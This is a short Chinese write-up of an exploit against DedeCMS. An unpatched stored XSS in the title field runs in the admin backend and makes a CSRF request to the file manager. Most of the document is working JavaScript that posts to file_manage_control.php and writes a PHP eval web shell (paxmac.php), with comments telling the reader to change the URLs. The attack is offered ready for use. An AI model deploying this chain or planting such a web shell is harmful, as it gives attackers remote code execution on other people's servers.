dedecms利用xss+csrf getshell

dedecms的漏洞很多,但是厂商都是不做修复。
之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。

后台可触发xss

利用js代码

01	var request = false;

02	if(window.XMLHttpRequest) {

03	request = new XMLHttpRequest();

04	if(request.overrideMimeType) {

05	request.overrideMimeType('text/xml');

06

}

07	} else if(window.ActiveXObject) {

08	var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

09	for(var i=0; i<versions.length; i++) {

10

try {

11	request = new ActiveXObject(versions[i]);

12	} catch(e) {}

13

}

14

}

15	xmlhttp=request;

16

17	getshell();

18	function getshell(){

19

20	var postStr="fmdo=edit&backurl=& activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads& filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29 %3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改

21

22	xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改

23	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

24	xmlhttp.setRequestHeader("Content-length", postStr.length);

25	xmlhttp.setRequestHeader("Connection", "close");

26	xmlhttp.send(postStr);

27

}

 

触发前

触发后